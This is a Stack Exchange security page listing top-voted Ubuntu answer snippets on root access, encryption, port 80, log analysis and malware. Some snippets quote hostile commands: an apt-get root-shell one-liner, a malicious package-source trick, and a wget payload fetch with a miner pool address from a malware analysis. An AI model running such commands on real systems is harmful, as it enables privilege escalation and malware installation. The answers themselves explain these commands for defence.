Hot answers tagged

84 votes
Accepted

Why has Ubuntu 18.04 moved back to insecure Xorg?

They are doing this because the next release is an LTS release, which means stability is the primary concern. Xorg has a good track record of stability, whereas Wayland is still (relatively) new. This ...
forest's user avatar
  • 66.5k
81 votes
Accepted

Why is disabling root necessary for security?

If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to. Root is a giant target. What's root's username? Root! I'm so smart :) Logging. Sudo has a ...
Ohnana's user avatar
  • 4,727
74 votes
Accepted

Aren't keyfiles defeating the purpose of encryption?

If decryption only relies on the keyfile and this keyfile is readily available, there is indeed no significant security benefit in your setup. What you can do though is store the keyfile on a ...
Demento's user avatar
  • 7,429
67 votes
Accepted

What are the potential vulnerabilities of allowing non-root users to run apt-get?

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh From GTFOBins This gives you a root shell on the system. No creating packages and adding fake repos; this will give the user who runs this command ...
Cyclic3's user avatar
  • 845
64 votes

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) ...
forest's user avatar
  • 66.5k
63 votes
Accepted

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

Google, the major search engine of the Internet (dwarfing both Bing and Yahoo), and the browser used by majority of Internet users, has been pushing for an HTTPS-only world by decreasing the page rank ...
phyrfox's user avatar
  • 5,734
52 votes

How is it possible for boss to know I am finding a job?

Your boss is likely making assumptions. They can't read your messages on LinkedIn (unless you have your inmails forwarded to your work email and your company is monitoring your inbox....unlikely) The ...
Josh Madrid's user avatar
46 votes

What are the potential vulnerabilities of allowing non-root users to run apt-get?

You say you're using a "custom curated apt repository" but there's no way to enforce that. Any user that can invoke apt can specify their own source list, for example apt install root-backdoor -o Dir::...
CBHacking's user avatar
  • 46.3k
44 votes
Accepted

Is this what a brute force SSH attack looks like?

Is this a bruteforce attack This looks like the background scanning that any server on the internet will experience. Should I be worried Not really, background scanning is completely normal, as long ...
jrtapsell's user avatar
  • 3,197
39 votes
Accepted

Concerning GET request in logs

Can anyone help me determine if this is something I should be concerned about? Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot%...
ThoriumBR's user avatar
  • 53.5k
38 votes

Why is disabling root necessary for security?

The site you link to is very poor at explaining what they are getting you to do. The root account is not being disabled, but rather, the password for root is disabled. That's what passwd -l does. ...
schroeder's user avatar
  • 128k
37 votes
Accepted

Understanding suspicious HTTP GET Request

The reason it counts as "success" is because of the beginning: /?... This means the path the server cares about is /, which likely maps to the index of your web application. The query ...
The one who tests's user avatar
27 votes

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

Is a firewall enough of a security measure for an Ubuntu server that hosts a website? Given the technologies you want to use you want to create a dynamic database-backed website without having any ...
Steffen Ullrich's user avatar
26 votes

Why has Ubuntu 18.04 moved back to insecure Xorg?

@Forest's answer is helpful but I'd like to address the security perspective. While there is a security risk, it's likely considered an acceptable risk, and possibly a feature, as mentioned in @...
multithr3at3d's user avatar
23 votes
Accepted

I don't recognise my DNS server's address: does this mean I am compromised?

Something in your environment has definitely been compromised. It seems more likely that your router has been compromised. You haven't provided much information, so I'm going to make some basic ...
Jesse K's user avatar
  • 1,068
22 votes

How to use FDE without needing to share the encryption password

It comes to this: You want to implement a DRM scheme. Many before you have tried, all of them failed. It is not possible to give something (hardware, data) to users and prevent them from using it in ...
Josef's user avatar
  • 5,973
21 votes
Accepted

Breaching security of a notebook with full disc encryption when screen is locked

Can anyone point out any weakness in this setup, and if you do, how to make it secure? Hardware solutions exist which can grab your system's memory without needing your login. And that's pretty ...
gowenfawr's user avatar
  • 72.7k
20 votes
Accepted

How is it possible for boss to know I am finding a job?

Your employer is possibly using a service like "Keeper" from HiQ Labs, which can provide forward-looking attrition risk analysis based on LinkedIn data. Keeper analyses LinkedIn user data ...
bsod's user avatar
  • 316
19 votes
Accepted

How to use FDE without needing to share the encryption password

According to my previous answer, suggestion by @logneck and a bit of google-fu, I came to the conclusion that it is possible to implement the scheme requested in the question with available tools and ...
usr-local-ΕΨΗΕΛΩΝ's user avatar
18 votes
Accepted

How to read CVE - 2016 - 5696 correctly

Does the version next to pending refer to kernel version for which the fix is released? Yes- more precisely, the version next to "pending" refers to the version of the package within the ...
Jonah Benton's user avatar
  • 3,487
17 votes

Why is disabling root necessary for security?

It is an old Tradition from the days of the Mainframe. The idea is that root can do what he wants with the machine, including replacing the kernel or destroying the UEFI variables, which can brick the ...
Tom Leek's user avatar
  • 172k
16 votes
Accepted

Why can 'Others' read files by default in Ubuntu?

The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for ...
timbstoke's user avatar
  • 276
13 votes

Are there ransomware infections of Ubuntu Linux in the wild?

Actually there IS a new ransomware (now, not when the question was asked) that is apparently a trojan that encrypts home directories and web root, then asks for a bitcoin to get the decryption key. I ...
Tony Maro's user avatar
  • 271
12 votes
Accepted

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

A firewall is never enough, it is the bare minimum. Then having an IDS of some sort is desirable. For example if your SSH port is exposed you should block brute-force attacks, even if you have a ...
Kate's user avatar
  • 7,847
12 votes

Aren't keyfiles defeating the purpose of encryption?

While Demento's answer is fine, I'd also present another user case I'm personally using: I have full disk encryption set up — using LUKS on a Linux-based box, and the scheme is implemented as follows: ...
kostix's user avatar
  • 221
11 votes

Why should one bother encrypting the harddisk in linux if one can easily recover the root password?

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive. You might be mixing things up here. ...
Mark Buffalo's user avatar
  • 22.6k
11 votes
Accepted

kworker34 malware on Linux

... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ... Googling for stratum+tcp indicates that crypto-currency mining is going on. wget 91.235.143.237/miu.png -O /tmp/conn dd if=/tmp/conn ...
Steffen Ullrich's user avatar
10 votes

How does Nautilus store passwords on Ubuntu?

Under the default configuration in Ubuntu, passwords are stored in the GNOME keyring. This applies to all passwords stored by Nautilus, as well as most other applications including web browsers. (Let ...
Gilles 'SO- stop being evil''s user avatar
10 votes

What are the potential vulnerabilities of allowing non-root users to run apt-get?

Would preventing users from specifying their own sourcelists (e.g. by making a wrapper that specifically calls apt-get install -- <packages> with root privileges) be sufficient to prevent users ...
Arminius's user avatar
  • 44.7k

Only top scored, non community-wiki answers of a minimum length are eligible